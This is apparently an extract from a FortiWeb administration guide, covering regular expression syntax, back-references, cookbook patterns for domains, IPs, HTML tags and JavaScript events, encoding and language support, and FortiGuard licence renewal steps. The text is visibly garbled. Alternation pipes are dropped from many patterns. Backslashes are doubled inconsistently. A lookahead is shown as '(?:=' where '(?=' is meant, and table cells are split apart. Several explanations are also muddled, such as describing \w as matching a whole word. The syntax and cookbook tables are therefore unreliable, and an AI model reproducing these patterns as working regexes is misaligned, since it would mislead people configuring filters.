FortiWeb follows **most** Perl-compatible regular expression (PCRE; see <http://www.pcre.org>) syntax. The below table shows syntax and popular grammar examples. You can find additional examples with each feature, such as ["Example: Sanitizing poisoned HTML"](#) on page 633.



Inverse string matching is not currently supported.

For example, to match all strings that do **not** contain `hamsters`, you cannot use:

```
!(hamsters)
```

You can, however, use inverse matching for specific character classes, such as:

```
[^A]
```

to match any string that contains any characters that are **not** the letter A.

Popular FortiWeb regular expression syntax

Notation	Function	Sample Matches
Anything except *.[^\$?+()\{\}\]	Literal match, except if the character is part of a: • Capture group • Back-reference (e.g. \$0 or \1) • Other regular expression token (e.g. \w)	Text: My cat catches things. Regular expression: cat Matches: cat Depending on whether the feature looks for all instances, it may also match “cat” in the beginning of “catches”.
\	Escape character. If it is followed by: • An alphanumeric character, the alphanumeric character is not matched literally as usual. Instead, it is interpreted as a regular expression token. For example, \w matches a word, as defined by the locale. • Any regular expression special character: <pre>*.[^\$?+()\{\}\]</pre> this escapes interpretation as a regular expression token, and instead treats it as a normal letter. For example, \\ matches: <pre>\</pre>	Text: /url?parameter=value Regular expression: \?param Matches: ?param
(?i)	Turns on case-insensitive matching for subsequent evaluation, until it is turned off or the evaluation completes.	Text: /url?Parameter=value Regular expression: (?i)param Matches: Param Would also match pArAM etc.
\n	Matches a new line (also called a line feed). Microsoft Windows platforms typically use \r\n at the end of each line. Linux and Unix platforms typically use \n. Mac OS X typically uses \r	Text: My cat catches things. Regular expression: \n Matches: The end of the text on Linux and other Unix-like platforms, only part of the line ending on Windows, and nothing on Mac OS X.
\r	Matches a carriage return.	Text: My cat catches things.

Notation	Function	Sample Matches
		Regular expression: \r Matches: Part of the line ending on Windows, nothing on Linux/Unix, and the whole line ending on Mac OS X.
\s	Matches a space, non-breaking space, tab, line ending, or other white space character. Tip: Many languages do not separate words with white space. Even in languages that usually use a white space separator, words can be separated with new lines and many other characters such as: <pre>\ / - ' " " " \ . , > < - : ;</pre> In these cases, you should usually include those in addition to \s in a match set ([]) or may need to use \b (word boundary) instead.	Text: Regular expression: www\\.example\\.com\\s Matches: Nothing. Due to the final ' which is a word boundary but not a white space, this does not match. The regular expression should be: <pre>www.example.com\\b</pre>
\\S	Matches a character that is not white space, such as A or 9.	Text: My cat catches things. Regular expression: \\S Matches: Mycatcatchesthings.
\\d	Matches a decimal digit such as 9.	Text: /url?parameterA=value1 Regular expression: \\d Matches: 1
\\D	Matches a character that is not a digit, such as A or b or É.	
\\w	Matches a whole word. Words are substrings of any uninterrupted combination of one or more characters from this set: <pre>[a-zA-Z0-9_]</pre> between two word boundaries (space, new line, :, etc.). It does not match Unicode characters that are equivalent, such	Text: Yahoo! Regular expression: \\w Matches: Yahoo Does not match the terminal exclamation point, which is a word boundary.

Notation	Function	Sample Matches
	as 三, 四 or 光.	
\W	Matches anything that is not a word.	Text: Sell?!?~ Regular expression: \W Matches: ?!?~
.	Matches any single character except \r or \n. Note: If the character is written by combining two Unicode code points, such as à where the core letter is encoded separately from the accent mark, this will not match the entire character: it will only match one of the code points.	Text: My cat catches things. Regular expression: c.t Matches: cat cat
+	Repeatedly matches the previous character or capture group, 1 or more times, as many times as possible (also called “greedy” matching) unless followed by a question mark (?), which makes it optional. Does not match if there is not at least 1 instance.	Text: www.example.com Regular expression: w+ Matches: www Would also match “w”, “ww”, “www”, or any number of uninterrupted repetitions of the character “w”.
*	Repeatedly matches the previous character or capture group, 0 or more times. Depending on its combination with other special characters, this token could be either: • *—Match as many times as possible (also called “greedy” matching). • *?—Match as few times as possible (also called “lazy” matching).	Text: www.example.com Regular expression: .* Matches: www.example.com All of any text, except line endings (\r and \n). Text: www.example.com Regular expression: (w)*? Matches: www Would also match common typos where the “w” was repeated too few or too many times, such as “ww” in w.example.com or “www” in www.example.com. It would still match, however, if no amount of “w”

Notation	Function	Sample Matches
? except when followed by =	Makes the preceding character or capture group optional (also called “lazy” matching).	existed. Text: www.example.com Regular expression: (www\.)?example.com Matches: www.example.com Would also match example.com.
?=	Looks ahead to see if the next character or capture group matches and evaluate the match based upon them, but does not include those next characters in the returned match string (if any). This can be useful for back-references where you do not want to include permutations of the final few characters, such as matching “cat” when it is part of “cats” but not when it is part of “catch”.	Text: /url?parameter=value&pack Regular expression: p(?:=arameter) Matches: p, but only in “parameter”, not in “pack”, which does not end with “arameter”.
()	Creates a capture group or sub-pattern for back-reference or to denote order of operations. For details, see "Example: Inserting & deleting body text" on page 636 and "What are back-references?" on page 835.	Text: /url/app/app/mapp Regular expression: (/app)* Matches: /app/app Text: /url?paramA=valueA&paramB=valueB Regular expression: (param)A=(value)A&\0B\1B Matches: paramA=valueA&paramB=valueB
	Matches either the character/capture group before or after the pipe ().	Text: Host: www.example.com Regular expression: (\r\n) \n \r Matches: The line ending, regardless of platform.
^	Matches either: The position of the beginning of a line (or, in multiline mode, the first line), not the first character itself	Text: /url?parameter=value Regular expression: ^/url Matches: /url, but only if it is at the

Notation	Function	Sample Matches
	The inverse of a character, but only if ^ is the first character in a character class, such as [^A] This is useful if you want to match a word, but only when it occurs at the start of the line, or when you want to match anything that is not a specific character.	beginning of the path string. It will not match “/url” in subdirectories. Text: /url?parameter=value Regular expression: [^u] Matches: /rl?parameter=vale
\$	Matches the position of the end of a line (or, in multiline mode, the entire string), not the last character itself.	
	Defines a set of characters or capture groups that are acceptable matches. To define a set via a whole range instead of listing every possible match, separate the first and last character in the range with a hyphen. Note: Character ranges are matched according to their numerical code point in the encoding. For example, [0-9] matches any UTF-8 code points from 48 to 57 inclusive: 0123456789	Text: /url?parameter=value1 Regular expression: [012] Matches: 1 Would also match 0 or 2.
[]		Text: /url?parameter=valueB Regular expression: [A-C] Matches: B Would also match “A” or “C”. It would not match “b”.
	Quantifies the number of times the previous character or capture group may be repeated continuously. To define a varying number repetitions, delimit it with a comma.	Text: 1234567890 Regular expression: \d{3} Matches: 123
{}		Text: www.example.com Regular expression: w{1,4} Matches: www If the string were a typo such as “ww ” or “www”, it would also match that.

See also

- ["What are back-references?"](#) on page 835
- ["Cookbook regular expressions"](#) on page 836

- "Language support" on page 838
- "Rewriting & redirecting" on page 622
- "Defining custom data leak & attack signatures" on page 525
- "Configuring URL interpreters" on page 204
- "Configuring custom suspicious request URLs" on page 222

What are back-references?

A back-reference is a regular expression token such as `$0` or `$1` that refers to whatever part of the text was matched by the capture group in that position within the regular expression.

Back-references are used whenever you want the output/interpretation to resemble the original match: they insert a substring of the original matching text. Like other regular expression features, back-references help to ensure that you do not have to maintain a large, cumbersome list of all possible URL or HTML permutations and their variations or translations when using features such as custom attack signatures, rewriting, or auto-learning.

URL in client's request: `/exchange/jane.doe/memo.EML`

New URL Replacer

Name: exchange1

Type: ☐ Predefined ☒ Custom-Defined

Application Type: JSP

URL Path: /exchange/([^\^/]+)/(.*)

New URL: \$0\$2

Param Change: \$1

New Param: username1

OK Cancel

Annotations:

- Capture group 2 points to `(.*)` in the URL Path and `$2` in the New URL.
- Capture group 1 points to `([^\^/]+)` in the URL Path and `$1` in the Param Change.
- Capture group 0 points to `/exchange/` in the URL Path and `$0` in the New URL.
- Back-reference to text matched by capture group 2 points to `$2` in the New URL.
- Back-reference to text matched by capture group 1 points to `$1` in the Param Change.
- Back-reference to text matched by capture group 0 points to `$0` in the New URL.

URL as interpreted by auto-learning: `/exchange/memo.EML?username1=jane.doe`

To invoke a substring, use `$n` ($0 \leq n \leq 9$), where `n` is the order of appearance of capture group in the regular expression, from left to right, from outside to inside, then from top to bottom.

For example, regular expressions in a condition table in this order:

`(a)(b)(c(d))(e)`

- would result in back-reference variables (e.g. `$0`) with the following values:
- `$0`—a
- `$1`—b
- `$2`—cd
- `$3`—d
- `$4`—e



Numbering of back-references to capture groups starts from 0: to refer to the first substring, use \$0 or /0, **not** \$1 or /1.

Should you use \$0 or /0 to refer back to a substring? Something else? That depends.

- /0—An earlier part in the **current** string, such as when you have a URL that repeats: /(^/) *) /0/0/0/0
- \$0—A part of the **previous** match string, such as when using part of the originally matched domain name to rewrite the new domain name: \$0\ .example\ .co\ .jp where \$0 contains www, ftp, or whichever prefix matched the first capture group in the match test regular expression, (^.) * \ .example\ .com
- \$+—The highest-numbered capture group of the previous match string: if the capture groups were numbered 0-9, this would be equivalent to /9.
- \$&—The entire match string.

See also

- "Cookbook regular expressions" on page 836
- "Regular expression syntax" on page 829

Cookbook regular expressions

Some elements occur often in FortiWeb regular expressions, such as expressions to match domain names, URLs, parameters, and HTML tags. You can use these as building blocks for your own regular expressions.



For more expressions to match items such as SQL queries and URIs, see your FortiWeb's list of predefined data types.

To match...	You can use...
Line endings (platform-independent)	(\r\n) \n \r
Any alphanumeric character (ASCII only; e.g. does not match é or É)	[a-zA-Z0-9]
Specific domain name (e.g. www.example.com; case insensitive)	(?i)\bwww\.example\.com\b
Any domain name (valid non-internationalized TLDs only;	(?i)\b.*\.(a(c(d e(ro)?f(g i m n o q r s(ia)? t y w x z))b (a b d e f g h i(z)?j m n o r s t v w y z) c(a(t)?c(d f g h i k l m n o

To match...	You can use...
does not match domain names surrounded by letters or numbers)	((m)?(op)? r s u v x y z) d(e j k m o z) e(c du elg h r s t u) f(i j k m o r) g(a b d e f g h i l m n ov p q r s t u w y) h(k m n r t u) i(d e l m n (fo)?(t)? o q r s t) j(e m o (bs)? p) k(e g h i m n p r w y z)) (a b c i k r s t u vy) m(a c d e g h i j k m n o (bi)? p q r s t u (seum)? v w x y z) n(a(me)? c e(t)? f g i l o p r u z) o(m rg) p(a e f g h k i m n r(o)? s t w y) q r(e o s u w) s(a b c d e g h i j k m n o r s t u v y z) t(c d e f g h i j k m n o p r(avel)? t v w z) u(a g k s y z) v(a c e g i n u) w(f s) xxx y(e t u) z(a m w))\b
Any domain name (valid internationalized TLDs in UTF-8 only; does not match ASCII-encoded DNS forms such as xn--fiqs8s)	(?i)\b.*\.(\tél\b 中国 中國 日本 新加坡 ישראל 台灣 الجزائر مصر 香港 भारत بھارت الأردن ایران کازاخستان المغرب مليسيا پاکستان قطر فلسطين السعودية 한국 سوريا اليمن)\b
Any sub-domain name	(?i)\b(.*)\.example\.com\b
Specific IPv4 address	\b10\.[0-9]\.[0-9]\.[0-9]\b
Any IPv4 address	\b(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\.(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\.(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\.(25[0-5] 2[0-4][0-9] [01]?[0-9][0-9]?)\b
Specific HTML tag (well-formed HTML only, e.g. or ; does not match the element's contents between a tag pair; does not match the closing tag)	(?i)<\s*TAG\s*[^\>]*>
Specific HTML tag pair and contained text/tags, if any (well-formed HTML only; expression does not validate by DTD/Schema)	(?i)<\s*(TAG)\s*[^\>]*>[^\<]*</\1>
Any HTML tag pair and contained text/tags, if any (well-formed HTML only; expression does not validate by DTD/Schema)	(?i)<\s*([A-Z][A-Z0-9]*)\b[^\>]*>(.*?)</\1>
Any HTML comment	(?:<!--[\s\S]*?--> \t\n\r)*(?:> <)
Any HTML entity	&(?!)(#((x([\da-f]{1,5}) (104857[0-5] 10485[0-6]\d 1048[0-

To match...	You can use...
(well-formed entities only; expression does not validate by DTD/Schema)	<code>4]\d\d 104[0-7]\d{3} 10[0-3]\d{4} 0?\d{1,6})) ([A-Za-z\d.] {2,31}));</code>
JavaScript UI events (<code>onClick()</code> , <code>onMouseOver()</code> , etc.)	<code>(?i):on(blur c(hange lick) dblclick focus keypress (key mouse) (down up) (un)?load mouse(move o(ut ver)) reset s (elect ubmit))</code>
All parameters that follow a question mark or hash mark in the URL (e.g. <code>#pageView</code> or <code>?param1=valueA&param2=value B...</code> ; back-reference to this match does not include the question/hash mark itself)	<code>[#\?](.*)</code>

See also

- "What are back-references?" on page 835
- "Regular expression syntax" on page 829

Language support

Features such as **Recursive URL Decoding** (page 671), input rules, and attack signatures can detect attacks and data leaks even when multiple languages are used as an evasion technique.

When configuring FortiWeb, regardless of the **display** language (see "Global web UI & CLI settings" on page 89), the simplest case is to **configure** with only US-ASCII characters. All features, including queries to external servers, support it.

If you want to configure FortiWeb using another language/encoding, or support clients using another language or multiple languages, sometimes characters such as ñ, é, symbols, and ideographs such as 新 are valid input. Support varies by the nature of the item being configured.

For example, by definition, host names cannot contain special characters. DNS standards predate many standards for internationalization. Because of this, the web UI and CLI will reject input if it contains non-ASCII encoded characters when configuring the host name. This means that languages other than English are not supported **unless** encoded as an RFC 3490 (<http://tools.ietf.org/html/rfc3490>) international domain name (IDN) prefixed with xn--. However, other configuration items, such as names and comments, often support the language of your choice.

To use your preferred languages in those cases, use an encoding that supports it.

For best results:

- For regular expressions that must match HTTP requests, **use the same encoding as your HTTP clients**.
- For other features, use UTF-8 encoding, or use only the characters whose encoded values are the **same** in UTF-8 (for example, US-ASCII characters are usually encoded using the same byte-wise values in ISO 8859-1, Windows

code page 1252, Shift-JIS and others; however, ideographs such as 新 may be garbled or interpreted as the wrong character when viewed as another encoding).



HTTP clients may send requests in encodings that are **not** UTF-8. Encodings vary by the client's operating system or input language.

If you input the configuration in English, the client's request may match regardless of encoding: due to US-ASCII predating most other encodings, byte-wise, the values for English characters tend to have identical numerical values in many encoding types. For example, English words may be readable regardless of interpreting a web page as either ISO 8859-1 or as GB2312.

For other languages (especially non-Latin alphabets such as Cyrillic and Thai), match the client's encoding exactly.

For example, with Shift-JIS, backslashes (\) could be inadvertently interpreted as yen symbols (¥) and vice versa. A regular expression intended to match HTTP requests containing money values with a yen symbol therefore may not work if the symbol is entered using the wrong encoding. Likewise, simplified Chinese characters might only be understandable if the page is interpreted as GB2312. Test your expressions. If you enter a regular expression using another encoding, or if an HTTP client sends a request in an encoding other than UTF-8, remember that matches may not be what you initially expect.

Regular expressions are especially impacted. Matching engines on FortiWeb use the UTF-8 character values. If you need to match multiple possible languages from clients, especially for attack signatures, make sure you construct a regular expression that matches all alternative values.

For example, the Latin letter C is not encoded using the same byte-wise value as the similar-looking Cyrillic letter С. A human being can read a Spanish phrase written with that Cyrillic character, because they are **visually** similar. But a regular expressions will not match unless written to match both **numerical** values: one for the Latin character, and one for the Cyrillic look-alike (sometimes called a "confusable").

To configure your FortiWeb appliance using other encodings, you may need to switch language settings on your management computer, including for your web browser or Telnet/SSH client. For instructions on how to configure your management computer's operating system language, locale, or input method, see its documentation.



If you choose to configure parts of the FortiWeb appliance using non-ASCII characters, you should also use the same encoding throughout the configuration if possible in order to avoid needing to switch the language settings of your web browser or Telnet/SSH client while you work.

Similarly, your web browser or CLI client should usually interpret display output as encoded using UTF-8. If it does not, your configured items may not display correctly in the web UI or CLI. Exceptions include items such as regular expressions that you may have configured using other encodings in order to match the encoding of HTTP requests that the FortiWeb appliance receives.

See also

- ["Cookbook regular expressions"](#) on page 836
- ["Regular expression syntax"](#) on page 829

Appendix E: How to purchase and renew FortiGuard licenses

FortiGuard services can be purchased individually or in bundles. After you've registered your FortiWeb (see "[Registering your FortiWeb](#)" on page 97), contact your reseller with the model of your FortiWeb and the services or bundled you would like. Upon purchasing services from your reseller, you will receive the **service registration document** by email which also includes the service in title and summary containing your **contractor registration code**. Here are the next steps:

1. Go to Fortinet Customer Service & Support (<https://support.fortinet.com>) and log in to your account.
2. Click **Register/Renew**.

Note: If you haven't yet registered your FortiWeb you can do so here by entering the serial number.

3. If you already registered your FortiWeb, continued by entering your **Contract Registration Code** from the **Service Entitlement Summary** on the second page of your service registration document.
4. Choose the unit you would like to apply the service to.
5. Read and verify you agree to the terms and conditions of the service.
6. Verify the product entitlement list features all services you wish for the time period you purchased (e.g., the Activation Date and Expiration Date columns on the right).
7. Click **Confirm**.

The registration is now complete.

It can take up to four hours for FortiWeb to receive the updated services. For details, see "[Connecting to FortiGuard services](#)" on page 187.



High Performance Network Security



Copyright© 2019 Fortinet, Inc. All rights reserved. Fortinet®, FortiGate®, FortiCare® and FortiGuard®, and certain other marks are registered trademarks of Fortinet, Inc., in the U.S. and other jurisdictions, and other Fortinet names herein may also be registered and/or common law trademarks of Fortinet. All other product or company names may be trademarks of their respective owners. Performance and other metrics contained herein were attained in internal lab tests under ideal conditions, and actual performance and other results may vary. Network variables, different network environments and other conditions may affect performance results. Nothing herein represents any binding commitment by Fortinet, and Fortinet disclaims all warranties, whether express or implied, except to the extent Fortinet enters a binding written contract, signed by Fortinet's General Counsel, with a purchaser that expressly warrants that the identified product will perform according to certain expressly-identified performance metrics and, in such event, only the specific performance metrics expressly identified in such binding written contract shall be binding on Fortinet. For absolute clarity, any such warranty will be limited to performance in the same ideal conditions as in Fortinet's internal lab tests. In no event does Fortinet make any commitment related to future deliverables, features, or development, and circumstances may change such that any forward-looking statements herein are not accurate. Fortinet disclaims in full any covenants, representations, and guarantees pursuant hereto, whether express or implied. Fortinet reserves the right to change, modify, transfer, or otherwise revise this publication without notice, and the most current version of the publication shall be applicable.